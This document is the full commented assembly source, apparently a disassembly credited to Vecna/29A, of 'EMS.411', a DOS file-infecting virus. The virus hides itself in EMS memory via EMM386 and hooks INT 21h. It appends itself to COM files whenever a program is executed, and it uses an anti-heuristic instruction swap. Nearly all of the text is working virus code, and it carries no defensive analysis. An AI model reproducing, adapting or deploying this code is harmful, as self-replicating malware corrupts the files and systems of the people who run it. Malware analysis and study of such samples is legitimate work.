; EMS.411 Virus ; Dissassembly by Vecna/29A .model tiny .code .386p org 0 VirusStart: jmp RealStart ; jump to real start of virus HostCode: int 20h ; code of the start of the host is nop ; stored here EMM db 'EMMXXXX0' InfectJump: db 0e9h ; this jump is written to begin WhereIAm dw 0 ; of file LowMemCode: pushf cmp byte ptr cs:[InUse-LowMemCode], 0 jnz Int21InUse ; if we're using int21, the bit is set pusha mov ax, 4400h xor bx, bx mov dx, cs:[Page_-LowMemCode] int 67h ; map our page popa popf db 09ah ; call our int21 handler in the EMS dw offset Int21Handler PageFrame dw 0000h pusha pushf mov ax, 4400h mov bx, 0FFFFh mov dx, cs:[Page_-LowMemCode] int 67h ; unmap out page mov bp, sp mov ax, [bp+0] ; get flag status after exec mov [bp+16h], ax ; and put in the caller stack popf popa iret Page_ dw 0 ; number of our page InUse db 0 ; this byte is set if we are using ; the int21 Int21InUse: popf db 0EAh ; jump to real int21 Old21: dd 0 Int21Handler: pushf xchg ax, dx ; anti-heuristic cmp dx, 4B00h jz Infect ; infect on execute only xchg ax, dx call dword ptr cs:[Old21] ; do real call retf Infect: popf call ToggleFlag ; set flag warning we using int 21 xchg ax, dx push ds push dx pushf call dword ptr cs:[Old21] ; execute original function first pushf pusha push ds mov bp, sp lds dx, [bp+14h] ; load DS:DX from the saved copy in mov ax, 3D02h ; the stack, and open the file R/W int 21h xchg ax, bx mov ah, 3Fh mov cx, 3 push cs pop ds mov dx, offset HostCode ; read 3 bytes from file to our buffer int 21h mov ax, 4202h cwd xor cx, cx int 21h ; seek to the end of the file sub ax, 3 ; sub 3 for the jump push ax sub ax, (offset VEnd-offset VirusStart) cmp ax, word ptr ds:[HostCode+1]; a possible jump in start of file jz AlreadyInfected ; point to same place than we used to mov ax, 'ZM' ; be? If yes, is already infected cmp ax, word ptr ds:[HostCode] jz AlreadyInfected ; file start with MZ (EXE file) ?? pop ax mov word ptr ds:[WhereIAm], ax ; save position for jump mov ah, 40h mov cx, (offset VEnd-offset VirusStart) cwd int 21h ; write virus code to end of file mov ax, 4200h xor cx, cx cwd int 21h ; seek to start of file mov ah, 40h mov cx, 3 mov dx, offset InfectJump int 21h ; write a jump to virus code jmp short InfectionOk AlreadyInfected: add sp, 2 ; fix the stack InfectionOk: mov ah, 3Eh ; close file int 21h call ToggleFlag ; we're not using int21 anymore pop ds popa push bp mov bp, sp lea sp, [bp+8] ; get returned AX and FLAGS push ax mov ax, [bp+2] push ax popf ; put they in right place pop ax mov bp, [bp+0] retf ToggleFlag: push ax push ds mov ax, 24h ; set flag of int21 in use mov ds, ax xor byte ptr ds:[InUse-offset LowMemCode], 1 pop ds pop ax retn RealStart: pusha mov bx, word ptr cs:[101h] ; 101 hold the offset part of the jump add bx, 103h ; that we put in the start of host call Install mov di, si lea si, [bx+3] movsb ; restore old code movsw popa jmp si ; jump to start of file Install: push bx push si push es push ds push bx push bx push ds mov ax, 24h ; check if we are already in 24:0 mov ds, ax cmp word ptr ds:[0], 2E9Ch ; PUSHF/CS: pop ds jz AlreadyInstalled lea si, [bx+offset EMM] mov ax, 3567h int 21h ; get segment of EMM386 mov di, 0Ah mov cx, 8 rep cmpsb ; is really EMM386? jnz AlreadyInstalled mov ah, 42h int 67h ; Number of pages cmp bx, 1 jl AlreadyInstalled ; less than 1, abort install mov ah, 41h int 67h ; get page frame pop si mov cs:[si+PageFrame], bx ; save it mov es, bx mov ah, 43h mov bx, 1 int 67h ; allocate 1 page mov cs:[si+Page_], dx mov ax, 4400h mov bx, 0 int 67h ; map memory mov ax, 3521h int 21h ; get adress of int21 mov word ptr cs:[si+Old21], bx ; save it mov word ptr cs:[si+Old21+2], es mov es, cs:[si+offset PageFrame] xor di, di mov cx, 19Bh ; copy our code to our page rep movsb mov ax, 4400h mov bx, 0FFFFh int 67h ; unmap memory mov di, 24h mov bx, di mov es, di xor di, di pop si add si, 11h mov cx, offset Int21Handler-offset LowMemCode rep movsb ; move int21 handler to IVT mov ds, bx xor dx, dx mov ax, 2521h ; point int21 to 24:0 int 21h jmp InstalledOk AlreadyInstalled: add sp, 4 ; fix stack if error InstalledOk: pop ds pop es pop si pop bx ret ; return VEnd = $ End VirusStart